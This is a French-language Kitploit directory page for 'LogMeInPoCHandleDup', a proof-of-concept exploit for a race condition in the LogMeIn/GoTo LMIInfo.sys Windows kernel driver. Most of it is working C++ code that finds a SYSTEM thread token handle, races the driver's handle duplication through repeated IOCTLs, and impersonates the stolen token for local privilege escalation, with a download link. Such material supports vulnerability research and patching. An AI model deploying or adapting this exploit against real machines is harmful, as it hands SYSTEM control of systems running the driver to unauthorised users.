Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
LogMeInPoCHandleDup — Exploit pour une condition de course dans le pilote de noyau Windows LogMeIn/GoTo qui duplique les handles SYSTEM, permettant l'usurpation de jeton de thread et l'élévation locale de privilèges. | Kitploit
Outils/GitHubGitHub/alfarom256/logmeinpochandledup
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationRétro-ingénierieExploitation de Binaires
GitHubalfarom256/logmeinpochandledup

LogMeInPoCHandleDup

Exploit pour une condition de course dans le pilote de noyau Windows LogMeIn/GoTo qui duplique les handles SYSTEM, permettant l'usurpation de jeton de thread et l'élévation locale de privilèges.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
647il y a 2 ansVérifié par Kitploit

LogMeIn / GoTo LMIInfo.sys — Duplication de handle

Résumé

Une condition de course existe dans le pilote LMIInfo.sys fourni par LogMeIn / GoTo RMM, dans laquelle un handle arbitraire peut être dupliqué depuis le processus SYSTEM. Le problème central vient du manque de contrôle d'accès approprié sur l'objet device, ainsi que de la décision manifestement mauvaise de dupliquer des handles spécifiés par l'utilisateur depuis le processus système.

Détails

IOCTL : 0x9211001C

Buffer d'entrée :

root@kitploit:~
// LMI-Common.cpp
typedef struct LMI_INFO {
	DWORD64 qwPid;
	DWORD64 reserved0;
	DWORD64 handleValue;
	DWORD64 reserved1;
} LMI_INFO, * PLMI_INFO;

Dispatch :

Table de dispatch

Fonction vulnérable :

Fonction vulnérable

Lors de la collecte des informations de handle et du traitement de chaînes, entre les appels à ZwDuplicateObject/ZwClose, le processus appelant peut dupliquer le handle dupliqué. S'il est effectué correctement, le handle dupliqué secondaire persistera après la fermeture du handle dupliqué principal.

Pour déclencher le bug de manière fiable, tous les handles utilisés par le processus DOIVENT être créés avant de déclencher la condition de course. Le handle cible est récupéré depuis le processus système à l'aide de la fonction suivante (le jeton de thread utilisé comme exemple) :

root@kitploit:~
// LMI-Common.cpp
HANDLE FindSystemPidFirstToken()
{
	HANDLE hHeap = GetProcessHeap();
	LPVOID lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 0x20000);
	if (!lpBuf) {
		printf("HeapAlloc - %d\n", GetLastError());
		return INVALID_HANDLE_VALUE;
	}
	ULONG ulBytesReturned = 0;
	NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, 0x20000, &ulBytesReturned);

	while (status == 0xC0000004) {
		HeapFree(hHeap, 0, lpBuf);
		lpBuf = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, ulBytesReturned + 0x1000);
		if (!lpBuf) {
			printf("HeapAlloc - %d\n", GetLastError());
			return INVALID_HANDLE_VALUE;
		}
		status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, lpBuf, ulBytesReturned + 0x1000, &ulBytesReturned);
	}


	if (status) {
		printf("Query for handles failed - %lx\n", status);
		return INVALID_HANDLE_VALUE;
	}

	PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)lpBuf;

	for (unsigned int i = 0; i < pSysHandleInfo->NumberOfHandles; i++) {
		SYSTEM_HANDLE_TABLE_ENTRY_INFO shtei = pSysHandleInfo->Handles[i];
		if (shtei.UniqueProcessId != 4) {
			continue;
		}
		printf("HANDLE:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
		if (shtei.ObjectTypeIndex == OBJECT_TYPE_THREAD_TOKEN && shtei.GrantedAccess == THREAD_TOKEN_IMPERSONATE_PRIVILEGES) {
			printf("Found handle to token:\n\t Handle Value 0x%x - Type 0x%x - Access 0x%x\n", shtei.HandleValue, shtei.ObjectTypeIndex, shtei.GrantedAccess);
			return (HANDLE)shtei.HandleValue;
		}
	}

	return INVALID_HANDLE_VALUE;
}

Comme les valeurs HANDLE augmentent par incréments de 4, nous calculons la valeur du handle dupliqué principal en obtenant un compte des HANDLEs et en ajoutant 4. Ainsi, nous ouvrons le device et créons le thread « racing » dans un état suspendu avant de calculer la valeur du handle suivant. Cela pourrait probablement être effectué de manière plus stable et plus « raffinée », ce qui est laissé en exercice au lecteur, sans doute plus compétent, mdr.

root@kitploit:~
// LMI-Common.cpp
HANDLE FindNextCreatedHandle() {
	HANDLE highestHandle = 0;
	UINT32 u32NumHandles = 0;
	ULONG ulSizeReturned = 0;
	NTSTATUS status = 0;
	status = NtQueryInformationProcess((HANDLE)-1, (PROCESSINFOCLASS)ProcessHandleCount, &u32NumHandles, sizeof(UINT32), &ulSizeReturned);
	if (!NT_SUCCESS(status)) {
		return (HANDLE)-1;
	}

	return (HANDLE)((UINT64)++u32NumHandles * 4);
}

Une fois terminé, le thread racing est repris et des IOCTL répétés sont émis :

root@kitploit:~
// LMI-Common.cpp
NTSTATUS DupeThread(LPVOID lpParam) {
	puts("Entered DupeThread");
	if (!lpParam || lpParam == INVALID_HANDLE_VALUE) {
		printf("Invalid device handle passed to thread : %lx\n", GetLastError());
		return -1;
	}

	PDUPE_THREAD_INFO Dti = (PDUPE_THREAD_INFO)lpParam;

	DWORD dwBytesReturned = 0;
	LMI_INFO lmii = { 0 };
	lmii.qwPid = 4;
	lmii.handleValue = (UINT64)FindSystemPidFirstToken(); // yes, I know

	if ((HANDLE)lmii.handleValue == INVALID_HANDLE_VALUE) {
		puts("Couldn't find a token handle in the system process??");
	}

	BOOL bRes = FALSE;
	LPVOID lpOutBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1000);

	if (!lpOutBuf) {
		printf("HeapAlloc : %lx\n", GetLastError());
		return -1;
	}

	while (Dti->Run) {
		// call DeviceIoControl to start the race
		bRes = DeviceIoControl(
			Dti->hDevice,
			IOCTL_DUPE_LEL,
			&lmii,
			sizeof(LMI_INFO),
			lpOutBuf,
			0x1000,
			&dwBytesReturned,
			NULL
		);
	}	
}

Le choix de conception du thread racing s'explique par ce qui suit :

  • Je suis nul pour exploiter les conditions de course

Le thread principal appelle DuplicateHandle à plusieurs reprises pour dupliquer le handle dupliqué principal jusqu'à ce que la duplication réussisse, puis le booléen global est défini sur false pour arrêter le thread racing (oui, oui, je sais).

root@kitploit:~
// Source.cpp
HANDLE hTarget = FindNextCreatedHandle();
hTarget = (HANDLE)((UINT64)hTarget + 4);

puts("Resuming dupe thread");
dwSuspendCount = ResumeThread(hDupeThread);
if (dwSuspendCount == -1) {
    printf("Error resuming dupe thread - %lx\n", GetLastError());
    return -1;
}

while (!bRes) {
    bRes = DuplicateHandle(g_hCurrentProc, hTarget, g_hCurrentProc, &hToken, NULL, FALSE, DUPLICATE_SAME_ACCESS);
}

dti.Run = FALSE;

if (bRes) {
    puts("ebin");
    printf("%llx - target\n", hTarget);
    printf("%llx - dup\n", hToken);
    bRes = SetThreadToken(NULL, hToken);
    if (!bRes) {
        printf("Failed to SetThreadToken - %x\nExploitation failed!", GetLastError());
    }
    else {
        puts("Set the thread token!");
    }
}
else {
    printf("Failed to dupe token: %lx\n", GetLastError());
    return -1;
}

getchar();
return 0;

Vidéo

Télécharger l’outil